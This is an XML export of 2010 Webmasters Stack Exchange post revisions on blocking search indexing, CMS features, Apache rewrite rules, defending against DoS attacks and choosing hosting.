  <row Id="5790" PostHistoryTypeId="5" PostId="2958" RevisionGUID="2bf1c435-8509-4718-83ac-58704adede93" CreationDate="2010-09-11T12:25:15.670" UserId="1857" Comment="added 618 characters in body" Text="There are **2 main ways to prevent search engines from indexing specific pages**:&#xD;&#xA;&#xD;&#xA; 1. A Robots.txt file for your domain.&#xD;&#xA; 2. The Meta Robots tag on each page.&#xD;&#xA;&#xD;&#xA;Robots.txt should be your first stop for URL patterns that match several files. You can see the [full syntax here][1]. The robots.txt file must be placed in the root folder of your domain, i.e. at `http://www.yourdomain.com/robots.txt` , and it would contain something like:&#xD;&#xA;&#xD;&#xA;    User-agent: *&#xD;&#xA;    Disallow: /path/with-trailing-slash/&#xD;&#xA;&#xD;&#xA;(The text coloring above is done by the Stackexchange software, and should be ignored.)&#xD;&#xA;&#xD;&#xA;**The Meta Robots tag is more flexible and capable**, but must be inserted in every page you want to affect.&#xD;&#xA;&#xD;&#xA;Again Google has [a overview of how to use Meta Robots][2], and how to get [pages removed from their index][3] via Webmaster Tools. Wikipedia has more [comprehensive documentation on Meta Robots][4], including the search engine specific derivations.&#xD;&#xA;&#xD;&#xA;If you want to prohibit Google, The Web Archive and other search engines from storing a copy of your webpage, then you want the following tag:&#xD;&#xA;&#xD;&#xA;    &lt;meta name=&quot;robots&quot; content=&quot;noarchive&quot;&gt;&#xD;&#xA;&#xD;&#xA;To prevent indexing (if your Robots.txt isn't already preventing this) and storing copies:&#xD;&#xA;&#xD;&#xA;    &lt;meta name=&quot;robots&quot; content=&quot;noindex, noarchive&quot;&gt;&#xD;&#xA;&#xD;&#xA;And to prevent both of the above, as well as using links on the page to find more pages to index:&#xD;&#xA;&#xD;&#xA;    &lt;meta name=&quot;robots&quot; content=&quot;noindex, nofollow, noarchive&quot;&gt;&#xD;&#xA;&#xD;&#xA;Note that all 3 above meta tags are for search engines alone -- they do not impact HTTP proxies.&#xD;&#xA;&#xD;&#xA;  [1]: http://www.google.com/support/webmasters/bin/answer.py?answer=156449&#xD;&#xA;  [2]: http://www.google.com/support/webmasters/bin/answer.py?answer=93710&#xD;&#xA;  [3]: http://www.google.com/support/webmasters/bin/answer.py?hl=en&amp;answer=164734&amp;from=61062&amp;rd=1&#xD;&#xA;  [4]: http://en.wikipedia.org/wiki/Meta_element#The_robots_attribute" />
  <row Id="5791" PostHistoryTypeId="5" PostId="2958" RevisionGUID="75db0e18-e8cd-4a01-993f-20baa1c35282" CreationDate="2010-09-11T12:32:29.330" UserId="1857" Comment="added 22 characters in body; added 24 characters in body" Text="There are **2 main ways to prevent search engines from indexing specific pages**:&#xD;&#xA;&#xD;&#xA; 1. A Robots.txt file for your domain.&#xD;&#xA; 2. The Meta Robots tag on each page.&#xD;&#xA;&#xD;&#xA;Robots.txt should be your first stop for URL patterns that match several files. You can see the [full syntax here][1]. The robots.txt file must be placed in the root folder of your domain, i.e. at `http://www.yourdomain.com/robots.txt` , and it would contain something like:&#xD;&#xA;&#xD;&#xA;    User-agent: *&#xD;&#xA;    Disallow: /path/with-trailing-slash/&#xD;&#xA;&#xD;&#xA;(The text coloring above is done by the Stackexchange software, and should be ignored.)&#xD;&#xA;&#xD;&#xA;**The Meta Robots tag is more flexible and capable**, but must be inserted in every page you want to affect.&#xD;&#xA;&#xD;&#xA;Again Google has [a overview of how to use Meta Robots][2], and how to get [pages removed from their index][3] via Webmaster Tools. Wikipedia has more [comprehensive documentation on Meta Robots][4], including the search engine specific derivations.&#xD;&#xA;&#xD;&#xA;If you want to prohibit Google, The Web Archive and other search engines from *keeping a copy* of your webpage, then you want the following tag (shown in HTML4 format):&#xD;&#xA;&#xD;&#xA;    &lt;meta name=&quot;robots&quot; content=&quot;noarchive&quot;&gt;&#xD;&#xA;&#xD;&#xA;To prevent *indexing* (if your Robots.txt isn't already preventing this) and *keeping a copy*:&#xD;&#xA;&#xD;&#xA;    &lt;meta name=&quot;robots&quot; content=&quot;noindex, noarchive&quot;&gt;&#xD;&#xA;&#xD;&#xA;And to prevent *both of the above*, as well as *using links on the page to find more pages* to index:&#xD;&#xA;&#xD;&#xA;    &lt;meta name=&quot;robots&quot; content=&quot;noindex, nofollow, noarchive&quot;&gt;&#xD;&#xA;&#xD;&#xA;Note that all 3 above meta tags are for search engines alone -- they do not impact HTTP proxies or browsers.&#xD;&#xA;&#xD;&#xA;  [1]: http://www.google.com/support/webmasters/bin/answer.py?answer=156449&#xD;&#xA;  [2]: http://www.google.com/support/webmasters/bin/answer.py?answer=93710&#xD;&#xA;  [3]: http://www.google.com/support/webmasters/bin/answer.py?hl=en&amp;answer=164734&amp;from=61062&amp;rd=1&#xD;&#xA;  [4]: http://en.wikipedia.org/wiki/Meta_element#The_robots_attribute" />
  <row Id="5792" PostHistoryTypeId="5" PostId="2959" RevisionGUID="4993dee1-3ee4-4fba-9d92-efdcf9e17978" CreationDate="2010-09-11T12:39:18.997" UserId="1603" Comment="added 53 characters in body" Text="Yes, that will fix the problem. To prevent content from showing up in Googles indexes you can either use robots.txt or the html meta tag &#xD;&#xA;&#xD;&#xA;    &lt;meta name=&quot;robots&quot; content=&quot;noindex, nofollow&quot; /&gt;&#xD;&#xA;&#xD;&#xA;The next time your site is indexed this will make your content drop out of the Google index. &#xD;&#xA;&#xD;&#xA;You can also you the `noarchive` value – this will block caching of your page. This is Google specific:&#xD;&#xA;&#xD;&#xA;    &lt;meta name=&quot;robots&quot; content=&quot;noarchive&quot; /&gt;&#xD;&#xA;&#xD;&#xA;You can use the ‘removal tool’ in Googles Webmaster Tools to request a very urgent removal of your content. Note that you should block indexing of your content first (using either robots.txt or the meta robots tag).&#xD;&#xA;&#xD;&#xA;More info:&#xD;&#xA;&#xD;&#xA; - http://www.google.com/support/webmasters/bin/answer.py?hl=en&amp;answer=164734&#xD;&#xA; - http://www.google.com/support/webmasters/bin/answer.py?answer=182072&#xD;&#xA; - http://www.robotstxt.org/meta.html" />
  <row Id="5793" PostHistoryTypeId="5" PostId="2958" RevisionGUID="66e8a01f-67ee-491d-be88-ce26aa67248a" CreationDate="2010-09-11T13:00:54.987" UserId="1857" Comment="added 2 characters in body; added 181 characters in body" Text="There are **2 main ways to prevent search engines from indexing specific pages**:&#xD;&#xA;&#xD;&#xA; 1. A Robots.txt file for your domain.&#xD;&#xA; 2. The Meta Robots tag on each page.&#xD;&#xA;&#xD;&#xA;Robots.txt should be your first stop for URL patterns that match several files. You can see the [full syntax here][1]. The robots.txt file must be placed in the root folder of your domain, i.e. at `http://www.yourdomain.com/robots.txt` , and it would contain something like:&#xD;&#xA;&#xD;&#xA;    User-agent: *&#xD;&#xA;    Disallow: /path/with-trailing-slash/&#xD;&#xA;&#xD;&#xA;(The text coloring above is done by the Stackexchange software, and should be ignored.)&#xD;&#xA;&#xD;&#xA;**The Meta Robots tag is more flexible and capable**, but must be inserted in every page you want to affect.&#xD;&#xA;&#xD;&#xA;Again Google has [a overview of how to use Meta Robots][2], and how to get [pages removed from their index][3] via Webmaster Tools. Wikipedia has more [comprehensive documentation on Meta Robots][4], including the search engine specific derivations.&#xD;&#xA;&#xD;&#xA;If you want to prohibit Google, The Web Archive and other search engines from *keeping a copy* of your webpage, then you want the following tag (shown in HTML4 format):&#xD;&#xA;&#xD;&#xA;    &lt;meta name=&quot;robots&quot; content=&quot;noarchive&quot;&gt;&#xD;&#xA;&#xD;&#xA;To prevent *indexing* and *keeping a copy*:&#xD;&#xA;&#xD;&#xA;    &lt;meta name=&quot;robots&quot; content=&quot;noindex, noarchive&quot;&gt;&#xD;&#xA;&#xD;&#xA;And to prevent *both of the above*, as well as *using links on the page to find more pages* to index:&#xD;&#xA;&#xD;&#xA;    &lt;meta name=&quot;robots&quot; content=&quot;noindex, nofollow, noarchive&quot;&gt;&#xD;&#xA;&#xD;&#xA;NB 1: All 3 above meta tags are for search engines alone -- they do not impact HTTP proxies or browsers.&#xD;&#xA;&#xD;&#xA;NB 2: If you already have pages indexed and archived, and you block pages via robots.txt while at the same time adding the meta tag to the same pages, then the robots.txt will prevent search engines from seeing the updated meta tag.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.google.com/support/webmasters/bin/answer.py?answer=156449&#xD;&#xA;  [2]: http://www.google.com/support/webmasters/bin/answer.py?answer=93710&#xD;&#xA;  [3]: http://www.google.com/support/webmasters/bin/answer.py?hl=en&amp;answer=164734&amp;from=61062&amp;rd=1&#xD;&#xA;  [4]: http://en.wikipedia.org/wiki/Meta_element#The_robots_attribute" />
  <row Id="5794" PostHistoryTypeId="5" PostId="2958" RevisionGUID="2a74d346-8f42-430a-9a8c-5798c8a3978c" CreationDate="2010-09-11T13:09:34.377" UserId="1857" Comment="added 71 characters in body" Text="There are **2 main ways to prevent search engines from indexing specific pages**:&#xD;&#xA;&#xD;&#xA; 1. A Robots.txt file for your domain.&#xD;&#xA; 2. The Meta Robots tag on each page.&#xD;&#xA;&#xD;&#xA;Robots.txt should be your first stop for URL patterns that match several files. You can see the [syntax here][1] and [more detailed here][2]. The robots.txt file must be placed in the root folder of your domain, i.e. at `http://www.yourdomain.com/robots.txt` , and it would contain something like:&#xD;&#xA;&#xD;&#xA;    User-agent: *&#xD;&#xA;    Disallow: /path/with-trailing-slash/&#xD;&#xA;&#xD;&#xA;(The text coloring above is done by the Stackexchange software, and should be ignored.)&#xD;&#xA;&#xD;&#xA;**The Meta Robots tag is more flexible and capable**, but must be inserted in every page you want to affect.&#xD;&#xA;&#xD;&#xA;Again Google has [a overview of how to use Meta Robots][3], and how to get [pages removed from their index][4] via Webmaster Tools. Wikipedia has more [comprehensive documentation on Meta Robots][5], including the search engine specific derivations.&#xD;&#xA;&#xD;&#xA;If you want to prohibit Google, The Web Archive and other search engines from *keeping a copy* of your webpage, then you want the following tag (shown in HTML4 format):&#xD;&#xA;&#xD;&#xA;    &lt;meta name=&quot;robots&quot; content=&quot;noarchive&quot;&gt;&#xD;&#xA;&#xD;&#xA;To prevent *indexing* and *keeping a copy*:&#xD;&#xA;&#xD;&#xA;    &lt;meta name=&quot;robots&quot; content=&quot;noindex, noarchive&quot;&gt;&#xD;&#xA;&#xD;&#xA;And to prevent *both of the above*, as well as *using links on the page to find more pages* to index:&#xD;&#xA;&#xD;&#xA;    &lt;meta name=&quot;robots&quot; content=&quot;noindex, nofollow, noarchive&quot;&gt;&#xD;&#xA;&#xD;&#xA;NB 1: All 3 above meta tags are for search engines alone -- they do not impact HTTP proxies or browsers.&#xD;&#xA;&#xD;&#xA;NB 2: If you already have pages indexed and archived, and you block pages via robots.txt while at the same time adding the meta tag to the same pages, then the robots.txt will prevent search engines from seeing the updated meta tag.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.google.com/support/webmasters/bin/answer.py?answer=156449&#xD;&#xA;  [2]: http://www.robotstxt.org/robotstxt.html&#xD;&#xA;  [3]: http://www.google.com/support/webmasters/bin/answer.py?answer=93710&#xD;&#xA;  [4]: http://www.google.com/support/webmasters/bin/answer.py?hl=en&amp;answer=164734&amp;from=61062&amp;rd=1&#xD;&#xA;  [5]: http://en.wikipedia.org/wiki/Meta_element#The_robots_attribute" />
  <row Id="5795" PostHistoryTypeId="2" PostId="2960" RevisionGUID="3c0ac549-330f-488e-b444-774adf922246" CreationDate="2010-09-11T14:17:49.450" UserId="1253" Text="There's actually a third way to prevent Google and other search engines from indexing URLs. It's the [X-Robots_tag header][1]. This is beta then meta tags because it works for all documents and you can have more then one tag.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&gt; The REP META tags give you useful control over how each webpage on your site is indexed. But it only works for HTML pages. How can you control access to other types of documents, such as Adobe PDF files, video and audio files and other types? Well, now the same flexibility for specifying per-URL tags is available for all other files type.&#xD;&#xA;&#xD;&#xA;&gt;We've extended our support for META tags so they can now be associated with any file. Simply add any supported META tag to a new X-Robots-Tag directive in the HTTP Header used to serve the file. Here are some illustrative examples:&#xD;&#xA;Don't display a cache link or snippet for this item in the Google search results:&#xD;&#xA;X-Robots-Tag: noarchive, nosnippet&#xD;&#xA;Don't include this document in the Google search results:&#xD;&#xA;X-Robots-Tag: noindex&#xD;&#xA;Tell us that a document will be unavailable after 7th July 2007, 4:30pm GMT:&#xD;&#xA;X-Robots-Tag: unavailable_after: 7 Jul 2007 16:30:00 GMT &#xD;&#xA;&#xD;&#xA;&gt;You can combine multiple directives in the same document. For example:&#xD;&#xA;Do not show a cached link for this document, and remove it from the index after 23rd July 2007, 3pm PST:&#xD;&#xA;X-Robots-Tag: noarchive&#xD;&#xA;X-Robots-Tag: unavailable_after: 23 Jul 2007 15:00:00 PST&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://googleblog.blogspot.com/2007/07/robots-exclusion-protocol-now-with-even.htmlBlockquote" />
  <row Id="5796" PostHistoryTypeId="2" PostId="2961" RevisionGUID="81e6e44b-48b0-491f-9ee2-f3c76f024392" CreationDate="2010-09-11T15:02:11.487" UserId="1603" Text="I would like to draw on your experiences with different web content management systems and hear what kind features you feel are the most important from a webmaster point of view.&#xD;&#xA;&#xD;&#xA;*As a webmaster what features do you find are the most important in a CMS?*&#xD;&#xA;&#xD;&#xA;Please:&#xD;&#xA;&#xD;&#xA; - **specify only one feature per answer**&#xD;&#xA; - up-vote features you also find important&#xD;&#xA; - feel free to give multiple answers (propose multiple features)&#xD;&#xA; - describe features in depth, rather than reference a specific CMS&#xD;&#xA; - feel free to write &quot;in contrast to ...&quot;, i.e. what this feature does better&#xD;&#xA;&#xD;&#xA;" />
  <row Id="5797" PostHistoryTypeId="1" PostId="2961" RevisionGUID="81e6e44b-48b0-491f-9ee2-f3c76f024392" CreationDate="2010-09-11T15:02:11.487" UserId="1603" Text="What does webmasters need most in a CMS?" />
  <row Id="5798" PostHistoryTypeId="3" PostId="2961" RevisionGUID="81e6e44b-48b0-491f-9ee2-f3c76f024392" CreationDate="2010-09-11T15:02:11.487" UserId="1603" Text="&lt;cms&gt;&lt;website-features&gt;" />
  <row Id="5799" PostHistoryTypeId="2" PostId="2962" RevisionGUID="915aa99e-cb5e-4bd0-95e2-8a83e538707c" CreationDate="2010-09-11T15:16:11.147" UserId="1253" Text="It needs to be easy enough for anybody, even my mother, to use it." />
  <row Id="5800" PostHistoryTypeId="5" PostId="2960" RevisionGUID="fc28dc87-b110-468e-8009-d766685a7c64" CreationDate="2010-09-11T16:08:59.667" UserId="1253" Comment="deleted 10 characters in body; added 2 characters in body" Text="There's actually a third way to prevent Google and other search engines from indexing URLs. It's the [X-Robots_tag header][1]. This is better then meta tags because it works for all documents and you can have more then one tag.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&gt; The REP META tags give you useful control over how each webpage on your site is indexed. But it only works for HTML pages. How can you control access to other types of documents, such as Adobe PDF files, video and audio files and other types? Well, now the same flexibility for specifying per-URL tags is available for all other files type.&#xD;&#xA;&#xD;&#xA;&gt;We've extended our support for META tags so they can now be associated with any file. Simply add any supported META tag to a new X-Robots-Tag directive in the HTTP Header used to serve the file. Here are some illustrative examples:&#xD;&#xA;Don't display a cache link or snippet for this item in the Google search results:&#xD;&#xA;X-Robots-Tag: noarchive, nosnippet&#xD;&#xA;Don't include this document in the Google search results:&#xD;&#xA;X-Robots-Tag: noindex&#xD;&#xA;Tell us that a document will be unavailable after 7th July 2007, 4:30pm GMT:&#xD;&#xA;X-Robots-Tag: unavailable_after: 7 Jul 2007 16:30:00 GMT &#xD;&#xA;&#xD;&#xA;&gt;You can combine multiple directives in the same document. For example:&#xD;&#xA;Do not show a cached link for this document, and remove it from the index after 23rd July 2007, 3pm PST:&#xD;&#xA;X-Robots-Tag: noarchive&#xD;&#xA;X-Robots-Tag: unavailable_after: 23 Jul 2007 15:00:00 PST&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://googleblog.blogspot.com/2007/07/robots-exclusion-protocol-now-with-even.html" />
  <row Id="5801" PostHistoryTypeId="5" PostId="2962" RevisionGUID="2b7d4288-521b-42ef-93aa-6ddc06e529e6" CreationDate="2010-09-11T16:12:28.347" UserId="1253" Comment="added 308 characters in body; added 3 characters in body" Text="It needs to be easy enough for anybody, even my mother, to use it. &#xD;&#xA;&#xD;&#xA;**Edit:** Although the CMS should be easy to set up and tweak the most important functionality is the user experience since that is the ultimate goal of the software. To allow users to easily manage content updates without being web developers. The easier it is to use the more likely people are to use it." />
  <row Id="5802" PostHistoryTypeId="2" PostId="2963" RevisionGUID="a1241b4f-9326-4d70-a22a-90d3cc41294d" CreationDate="2010-09-11T17:08:19.510" UserId="480" Text="Try some of the QoS settings now available for either:&#xD;&#xA;&#xD;&#xA;* the firewall(s)&#xD;&#xA;* the http server&#xD;&#xA;* the load balancers&#xD;&#xA;* any OS *global* settings&#xD;&#xA;&#xD;&#xA;There are many types of (D)DoS attacks that may happen. The situation you have described is limited due to it only coming from one source, multiply that in a distributed attack and a per client limit can be avoided. Another attack could try and cause a memory overflow by filling the state information rapidly. More attacks exist, such as [Slowloris][1] so it makes sense to defend yourself holistically.&#xD;&#xA;&#xD;&#xA;We like to use L7 firewalls on Linux (regex on packets) and weight the clients by how often they honour Last-Modified &amp; Etags, alongside other &quot;good behaviour&quot; (faster request times, larger MTUs, persistent connections, etc). You can always throw a Captcha, or artificially delay the response on a single connection with a backoff timer (1 second delay, 2 second delay, 4 second delay, etc). The trick here was to limit by connection.&#xD;&#xA;&#xD;&#xA;A future project will be to use the Intrusion Detection system to configure the rate limiting.&#xD;&#xA;&#xD;&#xA;HTML 5's [cache manifest][2] will effectively disable server load during a F5 refresh and there is always Google Gears.&#xD;&#xA;&#xD;&#xA;  [1]: http://ha.ckers.org/slowloris/&#xD;&#xA;  [2]: http://www.w3.org/TR/html5/offline.html" />
  <row Id="5803" PostHistoryTypeId="2" PostId="2964" RevisionGUID="9c415916-38ba-4260-8e84-caee41a04b53" CreationDate="2010-09-11T17:12:37.630" UserDisplayName="Greg Jennings" Text="It appears that you have tried posting this to Stackoverflow:&#xD;&#xA;&#xD;&#xA;http://stackoverflow.com/questions/3673188/http-server-invalid-request-connection-throttling&#xD;&#xA;&#xD;&#xA;Posting this to Serverfault might get a couple responses, however, there are many threads already over there related to denial-of-service type attacks.  You might try looking at those threads, just search for DDOS and DOS or denail-of-service.&#xD;&#xA;&#xD;&#xA;Denial-of-service attacks are best handled by router hardware (like Cisco)." />
  <row Id="5804" PostHistoryTypeId="16" PostId="2961" RevisionGUID="abd03494-04de-4919-a6fc-c973bb7b1319" CreationDate="2010-09-11T17:16:42.600" UserId="180" />
  <row Id="5805" PostHistoryTypeId="2" PostId="2965" RevisionGUID="b72d056f-4c6f-41f9-95b3-799858a562c8" CreationDate="2010-09-11T17:40:13.997" UserId="1918" Text="Turns out that this works, and still allows resources within to work.&#xD;&#xA;&#xD;&#xA;    RewriteRule ^products([^\.]+)$ products.php$1&#xD;&#xA;" />
  <row Id="5806" PostHistoryTypeId="2" PostId="2966" RevisionGUID="2409cbd0-4a73-4c09-b0f7-ae97940e5c8d" CreationDate="2010-09-11T18:22:59.747" UserId="9301" Text="The most important feature that isn't included in most CMS that exist today would be easy multivariate tests." />
  <row Id="5807" PostHistoryTypeId="16" PostId="2966" RevisionGUID="2409cbd0-4a73-4c09-b0f7-ae97940e5c8d" CreationDate="2010-09-11T18:22:59.747" UserId="-1" />
  <row Id="5808" PostHistoryTypeId="5" PostId="2945" RevisionGUID="bfc5fc10-5210-474e-bfb2-35dd71a20d22" CreationDate="2010-09-11T19:09:40.117" UserId="233" Comment="added 331 characters in body" Text="Firstly all those back-slashes must be forward-slashes. The `\` is used to &quot;escape&quot; special characters, not for folder separation.&#xD;&#xA;&#xD;&#xA;Rewriting `products.php` to `products` will not work if you have a products folder already. I'd suggest moving all the images to a different directory like `/images/cameras/50d.jpg`. Then you can do this:&#xD;&#xA;&#xD;&#xA;    RewriteRule ^products products.php&#xD;&#xA;&#xD;&#xA;With that you will need to parse the requested URL in PHP to find the variables. You could also use this:&#xD;&#xA;&#xD;&#xA;    RewriteRule ^products/([^/]+) products.php?cat=$1&#xD;&#xA;    RewriteRule ^products/([^/]+)/([^/]+) products.php?cat=$1&amp;prod=$2&#xD;&#xA;&#xD;&#xA;Now in your PHP script you automatically have the required variables via `$_GET['cat']` and `$_GET['prod']`.&#xD;&#xA;&#xD;&#xA;EDIT: actually you're right, it *is* possible to have both, as long as all the images are limited to specific extensions. I think this will work:&#xD;&#xA;&#xD;&#xA;    RewriteRule ^products/(.+).jpg products/$1.jpg [L]&#xD;&#xA;    RewriteRule ^products/([^/]+) products.php?cat=$1&#xD;&#xA;    RewriteRule ^products/([^/]+)/([^/]+) products.php?cat=$1&amp;prod=$2" />
  <row Id="5809" PostHistoryTypeId="2" PostId="2967" RevisionGUID="a249a28f-5989-4278-b269-b61fb03db9e3" CreationDate="2010-09-11T19:34:15.017" UserId="186" Text="Just like the title says: it seems to me that microdata has a few advantages over microformats, with the only drawback being a bit more verbose. Is this all the story?  &#xD;&#xA;&#xD;&#xA;It seems that Google supports both equally; is there anything else which I should consider?" />
  <row Id="5810" PostHistoryTypeId="1" PostId="2967" RevisionGUID="a249a28f-5989-4278-b269-b61fb03db9e3" CreationDate="2010-09-11T19:34:15.017" UserId="186" Text="Microdata vs. Microformats" />
  <row Id="5811" PostHistoryTypeId="3" PostId="2967" RevisionGUID="a249a28f-5989-4278-b269-b61fb03db9e3" CreationDate="2010-09-11T19:34:15.017" UserId="186" Text="&lt;microdata&gt;&lt;microformats&gt;&lt;semantic-web&gt;" />
  <row Id="5812" PostHistoryTypeId="2" PostId="2968" RevisionGUID="04479316-315c-40e1-bba3-72d30d547938" CreationDate="2010-09-11T20:11:54.343" UserId="1914" Text="Customization. It needs to be able to not only scale well, but be intuitive enough that it can be scaled. IE. I should be able to add modules/plugins to it with no hassle, and upgrade them with no hassle. I should also be able to write my own modules/plugins to access parts of the CMS' internal parts without wanting to kick a brick wall. I should also be able to pass it off to a designer so that they can theme it without having to understand, what plugs I'm using and where." />
  <row Id="5813" PostHistoryTypeId="16" PostId="2968" RevisionGUID="04479316-315c-40e1-bba3-72d30d547938" CreationDate="2010-09-11T20:11:54.343" UserId="-1" />
  <row Id="5814" PostHistoryTypeId="2" PostId="2969" RevisionGUID="8efa5527-0a29-49ec-8f23-c9b2e8f6a3a6" CreationDate="2010-09-12T00:48:20.960" UserId="1939" Text="I have this project i'm working on and id like to add a really small list of nearby places using facebooks places in an iframe feature from touch.facebook.com I can easily just use touch.facebook.com/#places.php but then that loads the top bars. &#xD;&#xA;&#xD;&#xA;Anyway, is there a way I could manipulate the URL so that it will only load the places content rather than having the top and bottom menu bars. After looking at the code it looks like there is a div id=content&quot; I was thinking maybe there was a way to make the url so that it will only load that div? I also tried making a url that might just jump down to content using touch.facebook.com/#places.php#content but apparently with that way touch.facebook.com was built that doesn't work. But really i'd rather figure out a way to just load the content. Ay ideas? thanks!" />
  <row Id="5815" PostHistoryTypeId="1" PostId="2969" RevisionGUID="8efa5527-0a29-49ec-8f23-c9b2e8f6a3a6" CreationDate="2010-09-12T00:48:20.960" UserId="1939" Text="Possible to only load specifiv div of a website?" />
  <row Id="5816" PostHistoryTypeId="3" PostId="2969" RevisionGUID="8efa5527-0a29-49ec-8f23-c9b2e8f6a3a6" CreationDate="2010-09-12T00:48:20.960" UserId="1939" Text="&lt;html&gt;&lt;javascript&gt;&lt;html5&gt;&lt;iframe&gt;" />
  <row Id="5817" PostHistoryTypeId="5" PostId="1457" RevisionGUID="14c77dbd-16a6-416a-bfdb-f7a31ce3fbf4" CreationDate="2010-09-12T01:43:36.723" UserId="120" Comment="edited body" Text="**Check the worldwide browser market share statistics**&#xD;&#xA;&#xD;&#xA;[This question][1] provides a comprehensive list of sources to look up worldwide browser market share.&#xD;&#xA;&#xD;&#xA;Here are the top 3 2010 averages for [StatOwl][2]:&#xD;&#xA;&#xD;&#xA;    1024x768    26.75%&#xD;&#xA;    1280x800	18.69%&#xD;&#xA;    1280x1024   11.57%&#xD;&#xA;&#xD;&#xA;Here are the top 3 2010 averages for [Net Applications][3]:&#xD;&#xA;&#xD;&#xA;    1024x768    24.27%&#xD;&#xA;    1280x800    17.98%&#xD;&#xA;    1280x1024   10.83% &#xD;&#xA;&#xD;&#xA;According to the data, your resolution minimum should be 1024x768 but it also depends on your demographic.&#xD;&#xA;&#xD;&#xA;If your site is geared toward a more corporate audience stick to 800x600. A lot of corporate networks are still running really old hardware with Windows 2000. If that's the user base you're targeting, using the 'current norm' of screen resolutions may alienate your audience.&#xD;&#xA;&#xD;&#xA;  [1]: http://webmasters.stackexchange.com/questions/587/what-is-the-best-browser-market-share-data-source&#xD;&#xA;  [2]: http://www.statowl.com/screen_resolution.php&#xD;&#xA;  [3]: http://marketshare.hitslink.com/report.aspx?qprid=17" />
  <row Id="5818" PostHistoryTypeId="2" PostId="2970" RevisionGUID="fa5fb016-2a1e-46a2-85dc-68d9ae0cbdb0" CreationDate="2010-09-12T02:33:29.643" UserId="1253" Text="You won't be able to manipulate the URL to get only a portion of the page. You'll want to grab the page contents via the server-side language of your choice and then parse the HTML. From there you can grab the specific DIV you are looking for and then print that out to your screen.&#xD;&#xA;&#xD;&#xA;With PHP you could use [`file_get_contents()`][1] to read the file you want to parse and then use [DOMDocument][2] to parse it and grab the DIV you want.&#xD;&#xA;&#xD;&#xA;Here's the basic idea. This is untested but should point you in the right direction:&#xD;&#xA;&#xD;&#xA;    $page = file_get_contents('http://www.example.com/');&#xD;&#xA;    $doc = new DOMDocument();&#xD;&#xA;    $doc-&gt;loadHTML($page);&#xD;&#xA;    $divs = $doc-&gt;getElementsByTagName('div');&#xD;&#xA;    foreach($divs as $node) {&#xD;&#xA;        // Look for something that shows you this is the proper DIV. &#xD;&#xA;        // If so, do whatever you want with it.&#xD;&#xA;        // For now just print out the contents &#xD;&#xA;        echo $n-&gt;nodeValue;&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://us3.php.net/manual/en/function.file-get-contents.php&#xD;&#xA;  [2]: http://us2.php.net/manual/en/class.domdocument.php" />
  <row Id="5819" PostHistoryTypeId="5" PostId="2970" RevisionGUID="06d7b038-eb7d-413d-ba21-0857709dd1a1" CreationDate="2010-09-12T02:44:06.070" UserId="1253" Comment="added 61 characters in body" Text="You won't be able to manipulate the URL to get only a portion of the page. So what you'll want to do is grab the page contents via the server-side language of your choice and then parse the HTML. From there you can grab the specific DIV you are looking for and then print that out to your screen. You could also use to remove unwanted content.&#xD;&#xA;&#xD;&#xA;With PHP you could use [`file_get_contents()`][1] to read the file you want to parse and then use [DOMDocument][2] to parse it and grab the DIV you want.&#xD;&#xA;&#xD;&#xA;Here's the basic idea. This is untested but should point you in the right direction:&#xD;&#xA;&#xD;&#xA;    $page = file_get_contents('http://www.example.com/');&#xD;&#xA;    $doc = new DOMDocument();&#xD;&#xA;    $doc-&gt;loadHTML($page);&#xD;&#xA;    $divs = $doc-&gt;getElementsByTagName('div');&#xD;&#xA;    foreach($divs as $node) {&#xD;&#xA;        // Look for something that shows you this is the proper DIV. &#xD;&#xA;        // If so, do whatever you want with it.&#xD;&#xA;        // For now just print out the contents &#xD;&#xA;        echo $n-&gt;nodeValue;&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://us3.php.net/manual/en/function.file-get-contents.php&#xD;&#xA;  [2]: http://us2.php.net/manual/en/class.domdocument.php" />
  <row Id="5820" PostHistoryTypeId="2" PostId="2971" RevisionGUID="f2c94ec4-be79-4229-89fc-bb9e879fbe68" CreationDate="2010-09-12T09:29:01.593" UserId="1468" Text="From a webmaster perspective I think the most needed feature is good **documentation**.&#xD;&#xA;&#xD;&#xA;The webmaster has to hack through the code to customize a website. &#xD;&#xA;&#xD;&#xA;Comparing Wordpress with Joomla, I find Wordpress easier to hack in the code. Joomla is harder but good documentation make it easier." />
  <row Id="5821" PostHistoryTypeId="16" PostId="2971" RevisionGUID="f2c94ec4-be79-4229-89fc-bb9e879fbe68" CreationDate="2010-09-12T09:29:01.593" UserId="-1" />
  <row Id="5822" PostHistoryTypeId="2" PostId="2972" RevisionGUID="fef538e9-834d-415f-b5e7-cb13fcf753fd" CreationDate="2010-09-12T09:48:33.730" UserId="1943" Text="We want to set up a WordPress 3 with the multi-site option enabled in order to have several (2-3) sites for news, photos &amp; video. The expected audience is around 10-15k visits/day.&#xD;&#xA;&#xD;&#xA;One of the problems is that we *know* that we will have big, exclusive news which will generate *Slashdot effects* generating spikes reaching to 50-70k visits/day. These spikes will be rather rare: let's say one-two spikes / quarter. Each spike will last 1-2 days and after this will fade. But it is _critical_ for us that during the spikes the site(s) will be online *AND* responsive.&#xD;&#xA;&#xD;&#xA;Another problem is that (at least) one of the sites will stream *video*. It is our video but we think to put it on a CDN (more on this later). ~250 episodes, each episode will be between 35-47 minutes. This gives us approx. 150 MB x 250 = ~ 37 GB. We plan to post two episodes / week. No, we don't think that all our audience will look at these. Let's say that we'll have at most 2-3k streams in the first day of a new episode. Also, even if we consider that the video is good (isn't it? ;-) - we don't think that this will generate any slashdot/digg (etc.) spikes). We think to use Amazon CloudFront for this.(or another CDN? suggestions please...)&#xD;&#xA;&#xD;&#xA;**Giving the above what hosting solution do you recommend?** &#xD;&#xA;&#xD;&#xA;We look at the following values: speed, uptime, budged, tech support - yeah, I know, the Paradise is in Heaven not here, on Earth :-). FTR, most probably we need a VPS, that's why I put the question here.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;TIA for any comments" />
